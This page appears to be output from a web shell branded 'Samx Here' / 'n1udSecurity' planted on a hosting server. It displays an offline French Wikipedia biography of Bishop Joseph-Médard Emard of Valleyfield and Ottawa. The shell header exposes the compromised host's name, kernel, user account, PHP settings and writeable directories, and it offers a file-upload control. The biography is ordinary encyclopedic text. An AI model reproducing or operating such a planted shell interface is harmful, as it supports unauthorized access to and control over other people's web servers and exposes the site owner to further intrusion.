Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/j/o/s/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles//j/o/s/Joseph-Médard_Emard_1b15.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Joseph-Médard Emard - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Joseph-Médard Emard</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <div class="homonymie">Pour les articles <a href="../../../../articles/h/o/m/Aide%7EHomonymie_2a52.html" title="Aide:Homonymie">homonymes</a>, voir <a href="../../../../articles/e/m/a/Emard.html" title="Emard">Emard</a>. <a href="../../../../articles/d/i/s/Image%7EDisambig.svg_8f13.html" class="image" title="Disambig.svg"><img alt="" src="../../../../images/shared/thumb/7/72/Disambig.svg/20px-Disambig.svg.png" width="20" height="16" border="0" /></a></div>
<p>Mgr <b>Joseph-Médard Emard</b> (<a href="../../../../articles/1/8/5/1853.html" title="1853">1853</a>-<a href="../../../../articles/1/9/2/1927.html" title="1927">1927</a>), le premier <a href="../../../../articles/%C3%A9/v/%C3%AA/%C3%89v%C3%AAque.html" title="Évêque">évêque</a> de <a href="../../../../articles/v/a/l/Valleyfield.html" class="mw-redirect" title="Valleyfield">Valleyfield</a>, qui fut plus tard <a href="../../../../articles/a/r/c/Archev%C3%AAque.html" title="Archevêque">archevêque</a> d'<a href="../../../../articles/o/t/t/Ottawa.html" title="Ottawa">Ottawa</a>.</p>
<p><a name="Biographie" id="Biographie"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/j/o/s/Joseph-M%C3%A9dard_Emard_1b15.html" title="Modifier la section&#160;: Biographie">modifier</a>]</span> <span class="mw-headline">Biographie</span></h2>
<p>Il est naît à <a href="../../../../articles/s/a/i/Saint-Constant_d91d.html" title="Saint-Constant">Saint-Constant</a>, comté de <a href="../../../../articles/l/a/p/Laprairie.html" class="mw-redirect" title="Laprairie">Laprairie</a>, le <a href="../../../../articles/3/1/_/31_mars.html" title="31 mars">31</a>&#160;<a href="../../../../articles/m/a/r/Mars_%28mois%29.html" title="Mars (mois)">mars</a>&#160;<a href="../../../../articles/1/8/5/1853.html" title="1853">1853</a>. Il était le fils de Médard Emard <a href="../../../../articles/i/n/s/Instituteur.html" title="Instituteur">instituteur</a> du village et de Mathilde Beaudin. L'un de ses frères, Père Emard, était <a href="../../../../articles/o/b/l/Oblat.html" title="Oblat">oblat</a> de <a href="../../../../articles/m/a/r/Marie_de_Nazareth_1f51.html" title="Marie de Nazareth">Marie</a>. Un autre était <a href="../../../../articles/a/v/o/Avocat_%28m%C3%A9tier%29.html" title="Avocat (métier)">avocat</a> et a tenu une place importante, à <a href="../../../../articles/m/o/n/Montr%C3%A9al.html" title="Montréal">Montréal</a>, dans le monde de la politique et de la finance. Trois de leurs sœurs s'étaient faites <a href="../../../../articles/m/o/n/Monachisme.html" title="Monachisme">religieuses</a>. Le futur archevêque était l'aîné de la famille.</p>
<p>Le jeune Joseph-Médard n'avait encore que 5 ans d'âge quand ses parents allèrent se fixer à <a href="../../../../articles/s/a/i/Saint-Hubert_%28Longueuil%29_31c3.html" title="Saint-Hubert (Longueuil)">Saint-Hubert</a>, où son père continuait à remplir ses fonctions d'instituteur. C'est là qu'il fit ses premières classes à l'école paternelle et se forma de bonne heure à la <a href="../../../../articles/p/i/%C3%A9/Pi%C3%A9t%C3%A9.html" title="Piété">piété</a> et au goût de l'étude. À 11 ans, en <a href="../../../../articles/1/8/6/1864.html" title="1864">1864</a>, il commença, à <a href="../../../../articles/s/a/i/Sainte-Th%C3%A9r%C3%A8se_f6b8.html" title="Sainte-Thérèse">Sainte-Thérèse</a>, son <a href="../../../../articles/c/o/u/Cours_classique.html" title="Cours classique">cours classique</a>, qu'il termina, de <a href="../../../../articles/1/8/6/1867.html" title="1867">1867</a> à <a href="../../../../articles/1/8/7/1872.html" title="1872">1872</a>, au <a href="../../../../articles/c/o/l/Coll%C3%A8ge_de_Montr%C3%A9al_a24a.html" title="Collège de Montréal">collège de Montréal</a>.</p>
<p>C'est à Montréal aussi qu'il vécut ses années de <a href="../../../../articles/g/r/a/Grand_s%C3%A9minaire.html" class="mw-redirect" title="Grand séminaire">grand séminaire</a>. Il y fut ordonné prêtre, par <a href="../../../../articles/%C3%A9/d/o/%C3%89douard-Charles_Fabre_ef2c.html" title="Édouard-Charles Fabre">Mgr Fabre</a>, le <a href="../../../../articles/1/0/_/10_juin.html" title="10 juin">10</a>&#160;<a href="../../../../articles/j/u/i/Juin.html" title="Juin">juin</a>&#160;<a href="../../../../articles/1/8/7/1876.html" title="1876">1876</a>. Après quelques mois de <a href="../../../../articles/v/i/c/Vicariat.html" class="mw-redirect" title="Vicariat">vicariat</a> à Saint-Enfant-Jésus du <a href="../../../../articles/m/i/l/Mile_End_ef19.html" title="Mile End">Mile End</a>, il eut l'avantage, réalisant un rêve qui lui était cher, d'aller suivre à <a href="../../../../articles/r/o/m/Rome.html" title="Rome">Rome</a> des cours supérieurs de <a href="../../../../articles/t/h/%C3%A9/Th%C3%A9ologie.html" title="Théologie">théologie</a> et de <a href="../../../../articles/d/r/o/Droit_canonique.html" title="Droit canonique">droit canonique</a>. Élève du séminaire français de Santa Chiara — le collège canadien de Rome n'a été établi qu'en <a href="../../../../articles/1/8/8/1888.html" title="1888">1888</a> — il étudia au <a href="../../../../articles/u/n/i/Universit%C3%A9_pontificale_gr%C3%A9gorienne.html" title="Université pontificale grégorienne">Collège romain</a> et à <a href="../../../../articles/u/n/i/Universit%C3%A9_pontificale_du_Latran_4903.html" title="Université pontificale du Latran">l'Apollinaire</a>, où les principaux professeurs étaient alors Palmieri, Mazella, De Angelis et Santi.</p>
<p>À l'été de <a href="../../../../articles/1/8/8/1880.html" title="1880">1880</a>, ayant complété ses études romaines par un voyage en <a href="../../../../articles/t/e/r/Terre_Sainte_25aa.html" title="Terre Sainte">Terre Sainte</a> — dont il a publié le récit —, il revint au pays, muni de ses parchemins de docteur en théologie et en droit canonique. Mgr Fabre nomma l'abbé Emard vicaire à Saint-Joseph, l'église de la rue Richmond à Montréal. Ce ne fut que pour un an. À l'automne de <a href="../../../../articles/1/8/8/1881.html" title="1881">1881</a>, il était appelé à l'évêché, au poste de vice-chancelier du <a href="../../../../articles/d/i/o/Dioc%C3%A8se.html" title="Diocèse">diocèse</a>. À la mort de M. le chancelier Harel, en juillet <a href="../../../../articles/1/8/8/1889.html" title="1889">1889</a>, M. Emard lui succéda. Entre temps, dès <a href="../../../../articles/1/8/8/1883.html" title="1883">1883</a>, il collaborait activement à la rédaction de la <i><a href="../../../../articles/s/e/m/Semaine_religieuse.html" title="Semaine religieuse">Semaine religieuse</a></i>, fondée, cette année-là, par un écrivain laïque, M. Dupuy, d'origine française.</p>
<p>En janvier 1889, M. Emard devenait le directeur officiel de ce périodique, dont on peut dire qu'il avait été, avec M. Dupuy, le co-fondateur. En <a href="../../../../articles/1/8/8/1887.html" title="1887">1887</a>, quand l'<a href="../../../../articles/u/n/i/Universit%C3%A9_Laval_117b.html" title="Université Laval">Université Laval</a> établit à Montréal sa faculté des arts, M. Emard fut invité à y professer, en même temps que MM. <a href="../../../../articles/l/o/u/Louis-Joseph-Napol%C3%A9on-Paul_Bruch%C3%A9si_0c03.html" title="Louis-Joseph-Napoléon-Paul Bruchési">Bruchési</a> et <a href="../../../../articles/j/o/s/Joseph-Alfred_Archambeault_f3b6.html" title="Joseph-Alfred Archambeault">Archambeault</a>. On lui confia la chaire d'histoire ecclésiastique. À la réorganisation du chapitre de la <a href="../../../../articles/c/a/t/Cath%C3%A9drale_Marie-Reine-du-Monde_070a.html" class="mw-redirect" title="Cathédrale Marie-Reine-du-Monde">cathédrale</a> en <a href="../../../../articles/1/8/9/1891.html" title="1891">1891</a>, M. Emard fut fait <a href="../../../../articles/c/h/a/Chanoine.html" title="Chanoine">chanoine</a> titulaire. Enfin, le <a href="../../../../articles/5/_/a/5_avril.html" title="5 avril">5</a>&#160;<a href="../../../../articles/a/v/r/Avril.html" title="Avril">avril</a>&#160;<a href="../../../../articles/1/8/9/1892.html" title="1892">1892</a>, le jour même où il créait le diocèse de Valleyfield, le <a href="../../../../articles/p/a/p/Pape.html" title="Pape">pape</a> <a href="../../../../articles/l/%C3%A9/o/L%C3%A9on_XIII_4e6b.html" title="Léon XIII">Léon XIII</a> nommait M. le chancelier Emard son premier évêque. Il fut sacré, le 9 juin suivant, par Mgr Fabre, dans la nouvelle cathédrale de Valleyfield. Il avait 39 ans d'âge, et il était prêtre depuis quinze ans.</p>
<p>Mgr Emard a administré le <a href="../../../../articles/d/i/o/Dioc%C3%A8se_de_Valleyfield_69ef.html" title="Diocèse de Valleyfield">diocèse de Valleyfield</a> pendant trente ans, de <a href="../../../../articles/1/8/9/1892.html" title="1892">1892</a> à <a href="../../../../articles/1/9/2/1922.html" title="1922">1922</a>. En juin de 1922, il était promu au siège archiépiscopal d'Ottawa, et, le 20 septembre suivant, il en prenait possession. Ce ne devait être que pour quatre ou cinq ans. Il est mort, en effet, à Ottawa, le <a href="../../../../articles/2/8/_/28_mars.html" title="28 mars">28</a>&#160;<a href="../../../../articles/m/a/r/Mars_%28mois%29.html" title="Mars (mois)">mars</a>&#160;<a href="../../../../articles/1/9/2/1927.html" title="1927">1927</a>, à 74 ans. Durant la <a href="../../../../articles/p/r/e/Premi%C3%A8re_Guerre_mondiale_7dfc.html" title="Première Guerre mondiale">Grande Guerre</a>, Rome avait nommé Mgr de Valleyfield évêque des soldats en campagne — <i>episcopus castrensis</i> — afin d'assurer, par son haut ministère, et sans qu'il quittât sa ville épiscopale, la source de juridiction et de direction spirituelle naturellement nécessaire aux troupes <a href="../../../../articles/c/a/n/Canada.html" title="Canada">canadiennes</a>. En outre, autre distinction notable, Mgr Emard avait été élu, en <a href="../../../../articles/1/9/2/1920.html" title="1920">1920</a>, membre de la <a href="../../../../articles/s/o/c/Soci%C3%A9t%C3%A9_royale_du_Canada_d818.html" title="Société royale du Canada">Société royale du Canada</a>.</p>
<p><a name="R.C3.A9f.C3.A9rences" id="R.C3.A9f.C3.A9rences"></a></p>
<h4><span class="editsection">[<a href="../../../../articles/j/o/s/Joseph-M%C3%A9dard_Emard_1b15.html" title="Modifier la section&#160;: Références">modifier</a>]</span> <span class="mw-headline">Références</span></h4>
<ul>
<li><a href="../../../../articles/e/l/i/Elie-J._Auclair_1835.html" title="Elie-J. Auclair">Elie-J. Auclair</a>. <i>Figures canadiennes</i>, Montréal, 1933.</li>
</ul>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/f/l/a/Image%7EFlag_of_Quebec.svg_d7f2.html" class="image" title="Icône du portail du Québec"><img alt="Icône du portail du Québec" src="../../../../images/shared/thumb/5/5f/Flag_of_Quebec.svg/36px-Flag_of_Quebec.svg.png" width="36" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/q/u/%C3%A9/Portail%7EQu%C3%A9bec_3afb.html" title="Portail:Québec">Portail du Québec</a></span></span></li>
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/f/l/a/Image%7EFlag_of_Canada.svg_0783.html" class="image" title="Icône du portail du Canada"><img alt="Icône du portail du Canada" src="../../../../images/shared/thumb/c/cf/Flag_of_Canada.svg/48px-Flag_of_Canada.svg.png" width="48" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/c/a/n/Portail%7ECanada_7cef.html" title="Portail:Canada">Portail du Canada</a></span></span></li>
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/l/a/t/Image%7ELatin_Cross.svg_1668.html" class="image" title="Icône du portail du christianisme"><img alt="Icône du portail du christianisme" src="../../../../images/shared/thumb/c/ca/Latin_Cross.svg/18px-Latin_Cross.svg.png" width="18" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/c/h/r/Portail%7EChristianisme_8692.html" title="Portail:Christianisme">Portail du christianisme</a></span></span></li>
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/i/h/s/Image%7EIHS-monogram-Jesus-medievalesque.svg_3666.html" class="image" title="Icône du portail du catholicisme"><img alt="Icône du portail du catholicisme" src="../../../../images/shared/thumb/9/91/IHS-monogram-Jesus-medievalesque.svg/28px-IHS-monogram-Jesus-medievalesque.svg.png" width="28" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/c/a/t/Portail%7ECatholicisme_5be5.html" title="Portail:Catholicisme">Portail du catholicisme</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 403/1000000
Post-expand include size: 4814/2048000 bytes
Template argument size: 622/2048000 bytes
Expensive parser function count: 4/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégories</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/%C3%A9/v/%C3%AA/Cat%C3%A9gorie%7E%C3%89v%C3%AAque_canadien_a61a.html" title="Catégorie:Évêque canadien">Évêque canadien</a></span> | <span dir='ltr'><a href="../../../../articles/n/a/i/Cat%C3%A9gorie%7ENaissance_en_1853_8f09.html" title="Catégorie:Naissance en 1853">Naissance en 1853</a></span> | <span dir='ltr'><a href="../../../../articles/d/%C3%A9/c/Cat%C3%A9gorie%7ED%C3%A9c%C3%A8s_en_1927_830e.html" title="Catégorie:Décès en 1927">Décès en 1927</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/j/o/s/Joseph-M%C3%A9dard_Emard_1b15.html">Article</a></li><li id="ca-talk"
	       	       ><a href="../../../../articles/j/o/s/Discuter%7EJoseph-M%C3%A9dard_Emard_e2da.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Joseph-M%C3%A9dard_Emard">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 3 avril 2008 à 19:19 par Utilisateur <a href="../../../../articles/b/a/d/Utilisateur%7EBadmood_4dbf.html" title="Utilisateur:Badmood">Badmood</a>. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/l/e/_/Utilisateur%7ELe_Pied-bot_aba6.html" title="Utilisateur:Le Pied-bot">Le Pied-bot</a>, <a href="../../../../articles/p/o/l/Utilisateur%7EPolmars_7b89.html" title="Utilisateur:Polmars">Polmars</a>, <a href="../../../../articles/a/d/m/Utilisateur%7EADM_83cf.html" title="Utilisateur:ADM">ADM</a>, <a href="../../../../articles/d/u/c/Utilisateur%7EDuch_76c0.html" title="Utilisateur:Duch">Duch</a>, <a href="../../../../articles/t/h/e/Utilisateur%7ETheoliane_9b8c.html" title="Utilisateur:Theoliane">Theoliane</a>, <a href="../../../../articles/x/i/b/Utilisateur%7EXibot_22f3.html" title="Utilisateur:Xibot">Xibot</a> et <a href="../../../../articles/r/%C3%A9/m/Utilisateur%7ER%C3%A9mih_4f34.html" title="Utilisateur:Rémih">Rémih</a>.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX